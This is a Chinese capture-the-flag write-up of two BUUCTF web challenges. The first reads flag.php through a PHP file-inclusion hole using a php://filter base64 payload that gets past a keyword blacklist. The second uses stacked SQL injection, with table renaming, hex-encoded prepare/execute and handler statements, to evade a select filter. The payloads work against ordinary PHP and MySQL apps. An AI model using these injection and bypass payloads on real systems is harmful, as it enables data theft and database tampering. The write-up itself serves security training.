目录
[[极客大挑战 2019]Secret File 1](#[极客大挑战 2019]Secret File 1)
[[强网杯 2019]随便注 1](#[强网杯 2019]随便注 1)
[极客大挑战 2019]Secret File 1
文件包含
访问,f12查看

跳转访问


猜测可能页面挑战太快,抓包查看

访问
http://c32cd110-22c5-40a6-92c0-72e91e512cb7.node5.buuoj.cn:81/secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__); // 语法高亮展示当前文件代码
error_reporting(0); // 关闭所有PHP错误报告(隐藏漏洞利用时的报错信息)
$file=$_GET['file']; // 接收GET参数file
// 核心过滤规则:检测敏感字符,命中则拦截
//检测是否包含../(路径遍历的核心符号,拦截目录跳转);
//检测(TP/Tp/tP都被拦),拦截含tp的字符串
//拦截含input的字符串(比如php://input伪协议)
//拦截含data的字符串(比如data://伪协议)
//php://input(POST 数据伪协议)、data://(数据伪协议)
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!"; // 过滤命中,输出提示
exit(); // 终止执行
}
include($file); // 过滤通过则包含$file指定的文件
//flag放在了flag.php里 // 关键提示:flag所在文件是flag.php
?>
</html>
可能是文件包含,先访问
http://c32cd110-22c5-40a6-92c0-72e91e512cb7.node5.buuoj.cn:81/secr3t.php?file=flag.php

下一步读取文件内容,用文件包含php的伪协议
php://filter(读取文件的核心伪协议)
?file=php://filter/read=convert.base64-encode/resource=flag.php
http://c32cd110-22c5-40a6-92c0-72e91e512cb7.node5.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{9dbccdc6-ebd3-4f84-ab45-ec84e4925479}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
[强网杯 2019]随便注 1
堆叠注入
判断注入,判断过滤,
字符型判断
1'

判断过滤,过滤了select,update,delete,drop,insert,where,不区分大小写(大小写都能匹配),匹配小数点,$inject传参

尝试堆叠注入
查看字段
1' order by 2#正常回显
1' order by 3#报错
有两列
单引号闭合,有的题目可能不需要单引号闭合
1';show databases;
显示数据库

显示表

显示列,words表里有两个字段,猜测后端查询语句select * from words where id=
1';show columns from words;

1';show columns from `1919810931114514`;
# 注意数据表为数字的时候需要用反引号括起来

words表里有两个字段int型的id,varchar型的data,猜测后端查询语句select * from words where id=
1919810931114514表里,有一个字段,flag,类型为varchar,
思路:通过rename函数进行改表
把
1919810931114514改为words,增加新字段id,将flag改为data,将刚开始那个words表改为其他任意表
1';rename table words to ceshi;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
rename table words to ceshi;将原
words表重命名为ceshi(备份,避免被覆盖,后续可恢复)rename table `1919810931114514` to words;把存 flag 的目标表
1919810931114514重命名为words(核心步骤:让原查询的words表变成目标表);⚠️ 反引号```:表名以数字开头,MySQL 必须用反引号包裹,否则语法错误;alter table words add id int unsigned not NULL auto_increment primary key;给新的
words表(原1919810931114514表)添加id列,添加自增主键id,让原查询能正常执行;alter table words change flag data varchar(100);将目标表的
flag列重命名为dataunsigned无符号类型 not null- 指示某列不能存储 NULL 值。 primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。 auto_increment-自动赋值,默认从1开始

编码逃逸,绕过滤
用select查询比较简单,但是select被过滤,因此用编码进行绕过
select * from `1919810931114514`
进行十六进制编码(Hex)
73656c656374202a2066726f6d20603139313938313039333131313435313460
构造Payload
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
1.
SeT:大小写混用(可绕过对set的小写过滤,非核心,锦上添花);2.
@a:MySQL 用户自定义变量,用于存储 16 进制字符串;3.
0x开头:MySQL 识别为16 进制字符串,会自动解码为对应的 ASCII 字符;4.16 进制解码结果:
73656c656374202a2066726f6d20603139313938313039333131313435313460解码后是select * from `1919810931114514`这才是真正要执行的查询语句)5.
prepare execsql from @a;MySQL预处理语句 核心:prepare 语句名 from 变量/字符串:将变量@a中解码后的字符串(select * from `1919810931114514`)编译为可执行的 SQL 语句,命名为execsql;这一步的关键:预处理只认 "字符串内容",而原始 Payload 中没有直接出现
select(只有 16 进制的0x...),因此绕过了对select关键词的过滤。6.
execute execsql;执行预处理好的execsql语句 → 本质就是执行select * from1919810931114514``,查询目标表的所有内容(爆出 flag)。
EXECUTE是 MySQL 中执行预处理语句(Prepared Statement) 的专属关键

handler代替select
handler命令可以一行一行的显示数据表中的内容
1'; handler `1919810931114514` open as a; handler a read next;#
1.
handler 表名 open as 句柄名:打开目标表1919810931114514的底层访问句柄 ,并给句柄命名为a(句柄是 MySQL 内部的表访问标识,类似文件句柄);2.反引号```:表名是纯数字开头,必须用反引号包裹(否则 MySQL 解析为数值,报错 "未知表");
3.核心:
HANDLER是独立于SELECT的底层语法,过滤规则若只拦select,则完全不会检测到handler。4.
handler 句柄名 read next:读取句柄a指向的表的下一行数据(刚打开句柄时,"下一行" 就是表的第一行,也是存 flag 的行)
